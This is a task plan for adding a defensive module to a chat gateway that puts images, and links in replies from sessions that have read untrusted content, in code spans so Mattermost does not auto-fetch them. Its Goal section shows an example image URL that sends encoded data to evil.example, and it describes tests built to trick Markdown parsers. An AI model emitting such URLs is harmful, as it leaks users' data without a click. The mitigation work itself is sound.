boxmaker/docs/plans/M5b/10-gatewayd-links.md

M5b task 10: gatewayd posts images, and the links of untrusted replies, as code

Branch: m5b (run git switch m5b; git status --short must be empty, otherwise stop) Commit subject: gatewayd: images, and links in untrusted replies, are posted as code

Read this first: the given tests

The given tests are tables of Markdown built to trick Mattermost's two Markdown readers, with links to made-up hosts (evil.example, e.example). They are data. You copy them; you do not need to read them to do this task. Each failure message names its case and shows the text the test wanted (right) and the text it got (left).

Goal

Mattermost fetches a post's images by itself: the server when the post is created, and every client when it shows it (the owner's server has no image proxy). The server also fetches the first plain URL of a post for a link preview. Either fetch can carry data out in its URL, with no click: ![s](https://evil.example/p.png?d=c2VjcmV0) sends c2VjcmV0 to evil.example. Text in a code span is never fetched. This was measured on the owner's server (M5b spec, section 9):

Posted	Link preview	Image fetched by the server
a plain URL	marked for a preview
a URL in a code span, or in a fenced block	none
a Markdown link, [text](url)	none
a Markdown image		yes, at posting time
a Markdown image in a code span	none	none

The owner chose (spec 9, "C"):

• Every image in every reply goes in a code span, so it shows as text and nothing fetches it.
• In a reply from a session that has read untrusted content (TurnDone.untrusted, task 09), every link and URL goes in a code span too, and the reply ends with this line: Links in this reply are shown as code because this conversation has read untrusted content.
• In a clean reply, links stay as they are, clickable and previewed.
• Code the reply already holds is left as it is: a URL in a code span or a fenced block is not put in a second one.

This task adds a module, gatewayd::links, with one function, disarm, and makes deliver post each answer through it. It is given as a skeleton: the glue is written, and you fill 16 small functions, each from the comment above it.

Decisions this task makes (you do not need to change any of them):

1. Only answers pass through disarm, the text the model wrote. Every other post of gatewayd is its own fixed text (BUSY, LOOP_DOWN, INTERRUPTED, the approval notices), or shows the model's text in code already (an approval's arguments are in a fenced block made by approvals::text::fence, its tool and grant in spans made by approvals::text::code), or is loopd's own error text (error_text).
2. The notice only when a link or URL was put in a code span. An image alone does not bring it: images go in code spans in every reply, and the notice speaks of links. Nor does a reply whose links were all in code already. So disarm says, in Disarmed.links, whether it put a link in a code span, and a reply without one reads as the model wrote it.
3. Disarm, split, disarm each part again. split_answer cuts a long answer into posts of at most MAX_POST characters. Disarming first means the parts are cut from the text as it will be posted. But each post is rendered on its own: a cut inside a fenced block leaves the rest of the block as prose in the next post, where an image would be live. So each part is disarmed again. The second pass changes nothing else: the given tests check that disarm of its own output is that output. The notice goes once, after an empty line, at the end of the last post.

Two readers, and why the rules are many

Two programs read a post's Markdown. The server (Go) follows CommonMark; it finds the images it fetches and the URL it previews. The clients (web and desktop) render the post with a fork of the JavaScript library marked (mattermost/marked, commit c211e4c), whose rules differ from CommonMark in places: an unclosed fence is code only at times; \r ends a line; emphasis (**), an HTML tag, inline LaTeX ($…$), a link, an autolink or a URL can take a backtick that CommonMark would read as the start of a code span. A code span disarm trusts must be code to both. So disarm leaves text alone only where both readers see code, and treats everything else as prose: an image in it goes in a code span, even if one reader would have shown it as code already. The worst that does is show a few backticks; it never leaves an image live.

Each rule is one small function, and each has cases in the given tests:

Rule	Function	Tests
A fenced block is code only if both read it so: opened by 3 or more backticks or ~ after at most 3 spaces, with no backtick, ~ or | after them; closed by a later line; no line between indented less than the opener; not continuing a list item or quote; no line before it starting with an HTML tag	opener, closes, fence_end, nested_start, html_start (and disarm, given)	links_marked: fences
A line ends at \n, \r, \r\n or U+2424; an empty line ends a paragraph, a line of spaces does not	lines and Out::prose (given)	links_marked: lines
A code span is code only if both read it so: its closing run on the same line, no | inside, no backtick run whose length is a hazard, nothing that could close an emphasis, tag or LaTeX opened before it	span_len, Seen::plain	links_marked: spans, steals
A backslash escapes the next character if marked would	escape_len	links: images
Images: , with a size or title, ![alt][ref], ![alt][], ![ref], and a ![ with no ]	construct_len, bracket_end, paren_end	links: images
Links (untrusted): [text](url), [text][ref], autolinks <…>, definitions [ref]: url, URLs with a scheme, www., or a domain and a /	construct_len, autolink_len, definition, url_len (and url_start, given)	links: links
A new code span splits at line ends, |, backticks, and closers seen before it; its runs are longer than any in the reply; it never touches a backtick, a backslash or a URL	Out::wrap, Out::code	links: ticks, images

Every place the answer is posted

Place	What happens there
crates/gatewayd/src/deliver.rs, one_turn	reads TurnDone.untrusted into Outcome::Answer (edit D3)
crates/gatewayd/src/deliver.rs, deliver	posts answer_posts instead of split_answer (edit D5)
crates/gatewayd/src/serve/handle.rs, start	calls deliver; no change
Outcome::Answer anywhere else	nowhere: no other file names it

Files

• Copy, from docs/plans/M5b/files/ (the same path under it):
  • the skeletons crates/gatewayd/src/links/mod.rs (you fill 7 functions) and crates/gatewayd/src/links/inline.rs (you fill 9)
  • tests: crates/gatewayd/tests/links.rs, crates/gatewayd/tests/links_marked.rs, crates/gatewayd/tests/deliver_links.rs
• Modify: crates/gatewayd/src/lib.rs (edit L1), crates/gatewayd/src/deliver.rs (edits D1 to D5), docs/implementer-log.md.
• Do not touch: any other source file, any Cargo.toml, the tests in crates/gatewayd/tests/support/, and in the skeletons anything but the 16 todo!() bodies.

Facts you need

• Offsets are bytes. Every offset and length in the module is in bytes of UTF-8, and every slice is taken with str::get (text.get(a..b)), which gives None instead of panicking. Never write text[a..b]. The characters the rules look for (backticks, brackets, <, |, \, $, spaces) are all one byte, so the offset right after one of them is always a character boundary; for any other character use c.len_utf8().

• The skeleton's given code, which you call and must not change:

  Name	What it is
  BREAKS	[char; 3]: '\n', '\r', '\u{2424}'; text.contains(BREAKS), BREAKS.contains(&c)
  content(line)	fn content(line: &str) -> &str: the line without its line end
  runs(text)	fn runs(text: &str) -> Vec<(usize, usize)>: each backtick run as (byte offset, length)
  Out	text: String (what is written so far), ticks: usize, links: bool
  Seen	hazards: Vec<usize> (run lengths), closers: Vec<char>
  closing(text, run)	fn closing(text: &str, run: usize) -> Option<usize>: offset of the first run of exactly run backticks
  window(text)	fn window(text: &str) -> &str: at most the first WINDOW (2048) characters
  reference_end(text)	fn reference_end(text: &str) -> Option<usize>: text starts with [; offset of the ] closing it, or None
  ESCAPABLE, TRAILING	&str of the characters marked escapes; [char; 11] a URL loses at its end

• The functions you fill, in the order to fill them, with who calls them:

  Function	Signature	Called by
  html_start	fn html_start(line: &str) -> bool	disarm
  nested_start	fn nested_start(line: &str) -> bool	disarm
  opener	fn opener(line: &str) -> Option<(usize, &str)>	fence_end
  closes	fn closes(line: &str, run: &str) -> bool	fence_end
  fence_end	fn fence_end(lines: &[&str], at: usize) -> Option<usize>	disarm
  Out::code	fn code(&mut self, piece: &str)	Out::wrap
  Out::wrap	fn wrap(&mut self, construct: &str, after: &str, closers: &[char])	Out::image
  Seen::plain	fn plain(&mut self, c: char)	Out::paragraph, Out::construct
  escape_len	fn escape_len(rest: &str) -> Option<usize>	Out::token
  paren_end	fn paren_end(text: &str) -> Option<usize>	construct_len
  bracket_end	fn bracket_end(text: &str, code: bool) -> Option<usize>	construct_len
  construct_len	fn construct_len(text: &str, bare: bool) -> Option<usize>	Out::token, Out::bracket
  span_len	fn span_len(rest: &str, seen: &Seen) -> Option<usize>	Out::backticks
  autolink_len	fn autolink_len(rest: &str) -> Option<usize>	Out::autolink
  definition	fn definition(rest: &str) -> bool	Out::token
  url_len	fn url_len(rest: &str, whole: bool) -> usize	Out::url

• The calls the bodies need, all in the standard library or given:

  Call	Signature, and what it gives
  str::get	text.get(a..), text.get(..b), text.get(a..b) → Option<&str>; None off a character boundary or past the end
  str::chars, char_indices	text.chars().next() → Option<char>; text.char_indices() yields (byte offset, char)
  Iterator::take_while, count	rest.chars().take_while(|&c| c == '').count(): the length of the run rest` starts with
  Iterator::enumerate, skip, any, all	lines.iter().enumerate().skip(at + 1); pairs.any(|p| …); chars.all(|c| …)
  matches!	matches!(first, Some('>' | '-' | '*' | '+' | '0'..='9')): whether first fits the pattern
  str::trim_start, trim, trim_start_matches, trim_end_matches	text.trim_start_matches(' '), .trim_start_matches([' ', '\u{a0}']), .trim_start_matches(|c: char| c.is_whitespace() || ">-*+.)".contains(c)), .trim_end_matches(TRAILING)
  str::strip_prefix	rest.strip_prefix(run), .strip_prefix('[') → Option<&str>, the text after it
  str::find, contains, starts_with, ends_with	rest.find('>'), rest.find(BREAKS) → Option<usize>; text.contains(['', '~', '|']), content.contains(seen.closers.as_slice()); self.text.ends_with(|c: char| !c.is_whitespace())`
  str::chars().count()	the number of characters (not bytes)
  str::eq_ignore_ascii_case	w.eq_ignore_ascii_case("www")
  str::repeat, String::push, push_str	"".repeat(self.ticks); self.text.push('\'); self.text.push_str(piece)`
  char tests	c.is_whitespace(), c.is_ascii_alphabetic(), c.is_ascii_digit(), c.len_utf8()
  Option	.filter(|c| …), .and_then(f), .or_else(|| …), .is_some_and(f), .is_none_or(f), .unwrap_or(x), .unwrap_or_default(); bool::then_some(x) → Some(x) if true
  usize::saturating_sub	depth.saturating_sub(1): never below 0
  Vec::contains, push	self.closers.contains(&c), seen.hazards.contains(&run)

• The skeleton compiles as given, with warnings for the unfilled functions: unused variables; functions, a method and constants never used (closing, reference_end, Out::code, ESCAPABLE, TRAILING and the like); and the field ticks never read. They go as you fill the bodies.

• Until every body is filled, any call to disarm panics with not yet implemented. From step 3 to step 5, run only the three new test files: the other gatewayd tests now post answers through disarm too.

The edits, exactly

Nothing else in these files changes. Each quoted "before" block occurs exactly once in its file.

crates/gatewayd/src/lib.rs

L1. The line

pub mod http;

becomes

pub mod http;
pub mod links;

crates/gatewayd/src/deliver.rs

D1. The lines

use crate::mm::MmError;
use crate::mm::rest::Client;

become

use crate::links::{NOTICE, disarm};
use crate::mm::MmError;
use crate::mm::rest::Client;

D2. The line

    Answer(String),

becomes

    /// The reply, and whether its session has read untrusted content.
    Answer {
        content: String,
        untrusted: bool,
    },

D3. In one_turn, the lines

    // 3. `read_frame` until the end: (id 1, not final, TurnEvent) -> on_event; (1, final, TurnDone)
    //    -> Answer with its content; (1, final, Error) -> Refused; a read error -> LoopDown("the
    //    turn ended early: <e>"); anything else -> LoopDown("an unexpected frame").

become

    // 3. `read_frame` until the end: (id 1, not final, TurnEvent) -> on_event; (1, final, TurnDone)
    //    -> Answer with its content and untrusted; (1, final, Error) -> Refused; a read error ->
    //    LoopDown("the turn ended early: <e>"); anything else -> LoopDown("an unexpected frame").

and further down in one_turn, the line

            (true, Message::TurnDone(d)) => return Outcome::Answer(d.content.clone()),

becomes

            (true, Message::TurnDone(d)) => {
                return Outcome::Answer {
                    content: d.content.clone(),
                    untrusted: d.untrusted,
                };
            }

D4. The lines

/// Send one turn and read it to its end; `on_event` sees every event.

become

/// The posts of a reply: disarmed (M5b spec, section 9), then cut by `split_answer`. Each part is
/// disarmed again: a cut inside a fenced block leaves the rest of it as prose in the next post.
/// The last post ends with `NOTICE` if either pass put a link in a code span.
pub fn answer_posts(content: &str, untrusted: bool) -> Vec<String> {
    let whole = disarm(content, untrusted);
    let mut links = whole.links;
    let mut posts = Vec::new();
    for part in split_answer(&whole.text) {
        let again = disarm(&part, untrusted);
        links = links || again.links;
        posts.push(again.text);
    }
    if links && let Some(last) = posts.last_mut() {
        last.push_str("\n\n");
        last.push_str(NOTICE);
    }
    posts
}

/// Send one turn and read it to its end; `on_event` sees every event.

D5. In deliver, the line

    // Answer -> every part of `split_answer`, in order; Refused -> `error_text`;

becomes

    // Answer -> every post of `answer_posts`, in order; Refused -> `error_text`;

and the lines

        Outcome::Answer(content) => {
            for part in split_answer(&content) {

become

        Outcome::Answer { content, untrusted } => {
            for part in answer_posts(&content, untrusted) {

Steps

• 1. Copy the given tests. From the repository root, three commands:

  cp docs/plans/M5b/files/crates/gatewayd/tests/links.rs crates/gatewayd/tests/
  cp docs/plans/M5b/files/crates/gatewayd/tests/links_marked.rs crates/gatewayd/tests/
  cp docs/plans/M5b/files/crates/gatewayd/tests/deliver_links.rs crates/gatewayd/tests/
  

• 2. See them fail. cargo test -p gatewayd --test links --test links_marked --test deliver_links --no-fail-fast: none compiles. Every error is E0432, an unresolved import: gatewayd::links in all three, and answer_posts in deliver_links as well.

• 3. The module and the edits. Copy the two skeletons, then make edits L1 and D1 to D5:

  mkdir -p crates/gatewayd/src/links
  cp docs/plans/M5b/files/crates/gatewayd/src/links/mod.rs crates/gatewayd/src/links/
  cp docs/plans/M5b/files/crates/gatewayd/src/links/inline.rs crates/gatewayd/src/links/
  

  cargo check -p gatewayd: no error, only the warnings "Facts you need" describes. The command of step 2 now compiles; links has 6 failing tests and 1 passing (the_notice_is_one_line), links_marked 7 failing, deliver_links 9 failing, and every failure is not yet implemented.

• 4. Fill the seven functions of mod.rs, one at a time, in this order, each from its comment, and run cargo check -p gatewayd after each: html_start, nested_start, opener, closes, fence_end, Out::code, Out::wrap.

• 5. Fill the nine functions of inline.rs, one at a time, in this order, each from its comment, and run cargo check -p gatewayd after each: Seen::plain, escape_len, paren_end, bracket_end, construct_len, span_len, autolink_len, definition, url_len. Change nothing else in either file.

• 6. See them pass. The command of step 2: links 7 passed, links_marked 7 passed, deliver_links 9 passed. Then cargo test -p gatewayd: every suite passes.

• 7. Run the gate. cargo fmt --all, then make gate, with a shell timeout of 600000 ms. Expected last line: gate: ok, with 1081 tests: 1058 before this task, plus 7 in links.rs, 7 in links_marked.rs and 9 in deliver_links.rs.

• 8. Log and commit. git status --short lists crates/gatewayd/src/lib.rs and crates/gatewayd/src/deliver.rs as modified, and crates/gatewayd/src/links/ and the three test files as new, besides your log. Stage with git add crates/gatewayd docs/implementer-log.md Cargo.lock, then commit as AGENTS.md says. Cargo.lock does not change in this task; the git add is harmless.

Done when

• make gate prints gate: ok with 1081 tests.
• git diff HEAD~1 --stat lists only crates/gatewayd/src/lib.rs, crates/gatewayd/src/deliver.rs, the two files under crates/gatewayd/src/links/, the three new test files and docs/implementer-log.md.

Stop and report if

• A "before" block of L1 or D1 to D5 is not in its file exactly as shown, or is there more than once.
• Step 2 or 3 shows a different result: other errors, other failing tests, or other counts.
• cargo check -p gatewayd reports an error after a body you filled, and the comment does not tell you how to fix it. Quote the error and the comment, and stop.
• A comment in a skeleton does not fit the code under it, or two comments contradict each other. Quote them and stop.
• After step 6 a test fails although each function follows its comment. Do not change a test, a table or the given code of the skeletons: stop, and give the failing tests' names and their messages.
• The fix seems to need a change anywhere else: in bxcore, another file of gatewayd, or a Cargo.toml. It does not; stop and say why you think so.
• A test outside gatewayd fails in the gate: check once whether it fails without your change, then stop and report both results.
• The gate passes with a count other than 1081.